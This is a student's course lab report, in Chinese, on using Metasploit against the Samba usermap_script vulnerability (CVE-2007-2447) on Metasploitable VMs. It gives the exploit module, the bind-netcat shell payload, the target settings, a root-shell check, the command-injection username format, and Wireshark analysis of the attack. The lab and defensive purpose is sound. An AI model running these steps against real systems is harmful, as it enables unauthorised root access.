20253907 2025-2026-2《网络攻防实践》第7周作业

20253907 2025-2026-2《网络攻防实践》第7周作业

1. 实践内容

本次实验主要学习使用Metasploit渗透测试框架对Linux靶机进行远程渗透攻击,并配合防守方进行网络流量分析。实验分为两个部分:

(1)Metasploit Linux远程渗透攻击

使用Metasploit框架攻击Linux靶机上的Samba服务usermap_script安全漏洞(CVE-2007-2447),获取目标Linux靶机的主机访问权限。Samba是Linux/Unix系统中实现SMB协议的软件套件,用于在局域网内实现文件和打印机的共享服务。usermap_script漏洞存在于Samba 3.0.20至3.0.25rc3版本中,当配置了非默认的"username map script"选项时,攻击者可以在用户名中嵌入shell元字符,从而实现远程命令执行。该漏洞的最大特点是无需认证即可利用,因为username map功能在认证前就会被触发。

(2)攻防对抗实践

攻击方使用Metasploit对Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权;防守方使用Wireshark监听网络数据包,分析攻击过程,获取攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用的Shellcode以及成功之后在命令行输入的信息。

2. 实验过程

2.1 实验环境

虚拟机 角色 IP地址
Kali Linux 攻击机 192.168.200.6
Metasploitable 2 靶机 192.168.200.130

2.2 信息收集

首先使用nmap对靶机进行扫描,确认Samba服务是否开放:

nmap -sV -p 139,445 192.168.200.130

扫描结果应显示:

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

确认该版本存在usermap_script漏洞。
image

2.3 启动Metasploit

sudo msfconsole

image

2.4 搜索并加载漏洞模块

msf6 > search usermap_script

搜索结果:

Matching Modules
================
   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script       2007-05-14       excellent  No     Samba "username map script" Command Execution

image
加载模块:

msf6 > use exploit/multi/samba/usermap_script

image

2.5 查看并设置Payload

查看可用payload:

msf6 exploit(multi/samba/usermap_script) > show payloads

image
image

选择正向shell payload(我这使用反向失败了,所以采取正向连接):

msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

image

2.6 设置攻击参数

msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.200.130
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.200.6
msf6 exploit(multi/samba/usermap_script) > set RPORT 139

image

参数说明:

  • RHOST:目标靶机IP地址
  • LHOST:攻击机IP地址(用于反向连接)
  • RPORT:SMB服务端口,通常为139或445

验证配置:

msf6 exploit(multi/samba/usermap_script) > show options

image

2.7 执行渗透攻击

msf6 exploit(multi/samba/usermap_script) > exploit

成功攻击后的输出示例:
image

2.8 验证远程Shell权限

在获得的shell中执行命令:

whoami
root

id
uid=0(root) gid=0(root)

可见获得的是root权限,这是因为usermap_script漏洞以root身份执行命令。
image

2.9 实践作业:攻防对抗实践

攻击操作:自己做为攻击方,使用 Metasploit ,选择王昺喆同学的Metasploitable靶机的ip地址192.168.3.86中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

攻击信息

  • 攻击者IP:192.168.200.6
  • 目标IP和端口:192.168.3.86
  • 攻击利用漏洞:CVE-2007-2447 (Samba usermap_script)
  • 使用Shellcode:cmd/unix/reverse(编码后的命令)
  • 攻击后执行的命令:通过追踪TCP流获取,如whoami、id等
    攻击第一步:需要把Rhost地址改为set RHOST 192.168.3.86
    image
    攻击第二步:检查参数设置,没问题后输入exploit
    image

防守操作:自己做为攻击方攻击自己的靶机,自己做为防守方监听
攻击信息

  • 攻击者IP:192.168.200.6
  • 目标IP和端口:192.168.200.130
  • 攻击利用漏洞:CVE-2007-2447 (Samba usermap_script)
  • 使用Shellcode:cmd/unix/reverse(编码后的命令)
  • 攻击后执行的命令:通过追踪TCP流获取,如whoami、id等
  1. 在靶机网络接口上启动Wireshark抓包:
    sudo wireshark
    
  2. 选择监听网卡(与靶机通信的网卡)
  3. 开始抓包后,等待攻击方发起攻击
  4. 攻击完成后停止抓包,保存pcap文件

分析关键数据包

(1)过滤攻击者IP

ip.addr == 192.168.200.6

image

(2)查看SMB会话建立过程:SMB协议通过139或445端口进行通信,攻击首先建立SMB会话。

(3)查看反向连接:漏洞利用成功后会建立反向连接,过滤条件:

tcp.port == 4444

image

3. 学习中遇到的问题及解决

  • 问题:采用反向连接出现问题,因为仅主机模式的原因导致无法反向连接
    解决方案:采取正向连接,使用命令set payload cmd/unix/bind_netcat
    image
    image

4. 学习感悟与思考

这次实验主要是把实验六的windows系统下的攻击改成了linux系统下的攻击,主要收获有两点:

第一,Samba的这个usermap_script漏洞真的很古老了(2007年),但在Metasploitable上依然能用,一步就能拿到root权限,说明漏洞不修后果有多严重。它的利用方式也很特殊——不需要任何认证,直接在用户名里塞命令就能执行,这让我对"输入过滤"的重要性有了直观感受。

第二,攻防对抗的视角很有意思。攻击方用Metasploit几秒钟就能getshell,防守方却要在Wireshark里一行一行地看数据包才能还原攻击过程。这次我特地注意了SMB协议包里的细节,发现攻击payload就藏在用户名那个字段里面,格式是"/=nohup [命令]",跟源码里写的一模一样。通过Follow TCP Stream,整个攻击会话都能串起来,感觉防守方也不完全是被动的。

最后就是环境搭建的老问题,每次实验都要调一番网络,蜜网网关、IP配置、防火墙,少一个都不行。不过经历过前几次作业,这次已经熟练多了。

posted @ 2026-05-06 19:40  navada  阅读(10)  评论(0)    收藏  举报